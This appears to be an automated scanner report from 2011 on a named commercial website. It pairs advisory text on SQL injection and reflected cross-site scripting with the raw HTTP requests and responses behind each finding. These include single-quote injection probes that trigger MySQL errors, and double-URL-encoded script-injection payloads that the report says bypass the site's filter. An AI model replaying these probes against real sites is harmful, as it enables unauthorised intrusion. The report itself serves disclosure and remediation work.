SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /Portfolio/Trades-and-Exhibits/id-24'/page-1/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:56 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 14497
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Trades and Exhibits :: STI - Creative Services</title>
<script type="text/javascript" language="javascript ...[SNIP]... </b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b> ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /Portfolio/Trades-and-Exhibits/id-25'/page-1/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:19:03 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 14497
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Trades and Exhibits :: STI - Creative Services</title>
<script type="text/javascript" language="javascript ...[SNIP]... </b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b> ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /Portfolio/Trades-and-Exhibits/id-7'/page-1/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:51 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 14496
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Trades and Exhibits :: STI - Creative Services</title>
<script type="text/javascript" language="javascript ...[SNIP]... </b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b> ...[SNIP]...
2. Cross-site scripting (reflected)previousnext There are 3 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8e9b%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1374672bac was submitted in the REST URL parameter 3. This input was echoed as c8e9b</script><script>alert(1)</script>a1374672bac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Portfolio/Trades-and-Exhibits/id-24c8e9b%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1374672bac/page-1/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:55 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 14545
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Trades and Exhibits :: STI - Creative Services</title>
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 98f92%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4b72cc82878 was submitted in the REST URL parameter 3. This input was echoed as 98f92</script><script>alert(1)</script>4b72cc82878 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Portfolio/Trades-and-Exhibits/id-2598f92%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4b72cc82878/page-1/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:19:02 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 14545
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Trades and Exhibits :: STI - Creative Services</title>
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e625%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ccd8e3bb1d was submitted in the REST URL parameter 3. This input was echoed as 4e625</script><script>alert(1)</script>7ccd8e3bb1d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Portfolio/Trades-and-Exhibits/id-74e625%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ccd8e3bb1d/page-1/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:51 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 14544
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Trades and Exhibits :: STI - Creative Services</title>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /CompanyProfile/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:45 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 11901
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>STI Creative Services | Company Profile</title> <meta http-equiv="Conte ...[SNIP]... </div> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /CompanyProfile/infrastructure/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:49 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 12401
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>STI Creative Services | Company Profile | Infrastructure</title> <meta ht ...[SNIP]... <LINK href="http://www.sti-cs.com/css/inner.css" type="text/css" rel="stylesheet"> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script> ...[SNIP]...
4. Email addresses disclosedpreviousnext There are 7 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
cs@sti-world.com
Request
GET /SEO/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:34 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 20633
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>Search Engine Optimization Michigan | SEO Novi Detroit</title>
...[SNIP]... <meta name="Description" content="Get a Michigan Novi based business PowerPoint presentation company offers business presentations Multimedia presentations in Detroit, Contact @ cs@sti-world.com, 248735 3900"> ...[SNIP]...
The following email address was disclosed in the response:
cs@sti-world.com
Request
GET /SEO/case-studies/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:35 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 10944
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>SEO Case Studies | Web Development Detroit | Flash Developing Novi</title ...[SNIP]... <meta name="description" content="Get a Michigan Novi based Media Development company offers Web Development Detroit, Flash designing and Developing Novi. Contact @ cs@sti-world.com, 248735 3900"> ...[SNIP]...
The following email address was disclosed in the response:
cs@sti-world.com
Request
GET /SEO/seo-pricing/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:35 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 14133
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>STI's SEO Pricing | Web Development Detroit | Flash Developing Novi</titl ...[SNIP]... <meta name="description" content="Get a Michigan Novi based Media Development company offers Web Development Detroit, Flash designing and Developing Novi. Contact @ cs@sti-world.com, 248735 3900"> ...[SNIP]...
The following email address was disclosed in the response:
cs@sti-world.com
Request
GET /Services/BusinessPresentations/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:30 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 13434
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>business PowerPoint presentation Michigan | business presentations Nov ...[SNIP]... <meta name="Description" content="Get a Michigan Novi based business PowerPoint presentation company offers business presentations Multimedia presentations in Detroit, Contact @ cs@sti-world.com, 248735 3900"> ...[SNIP]...
The following email address was disclosed in the response:
cs@sti-world.com
Request
GET /Services/GraphicDesign/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:29 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 13550
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>Graphic Design Michigan | Web Designers Detroit | Print design Novi</t ...[SNIP]... <meta name="Description" content="Find a Michigan based Graphic Design Company, Web Designers Detroit offers Print design and developing, print designing and development in Novi Detroit. Contact @ cs@sti-world.com, 248735 3900"> ...[SNIP]...
The following email address was disclosed in the response:
cs@sti-world.com
Request
GET /Services/MediaDevelopment/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:30 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 13732
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>Media Development Michigan | Web Development Detroit | Flash Developing N ...[SNIP]... <meta name="description" content="Get a Michigan Novi based Media Development company offers Web Development Detroit, Flash designing and Developing Novi. Contact @ cs@sti-world.com, 248735 3900"> ...[SNIP]...
The following email address was disclosed in the response:
cs@sti-world.com
Request
GET /contact/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:33 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 15486
... <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>STI Creative Services | Contact Us</title>
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /links/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:52 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 19784
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>STI Creative Services | Request for Quote</title> <meta name="Description ...[SNIP]...
GET /rfq/ HTTP/1.1 Host: www.sti-cs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=249072581.1298752883.1.1.utmcsr=thedetroitbureau.com|utmccn=(referral)|utmcmd=referral|utmcct=/about-us/; __utma=249072581.1903656466.1298752883.1298752883.1298757236.2; __utmc=249072581; __utmb=249072581.1.10.1298757236;
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 23:18:44 GMT Server: Apache/2.2.14 (Unix) FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 19493
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <title>STI Creative Services | Request for Quote</title> <meta name="Description ...[SNIP]...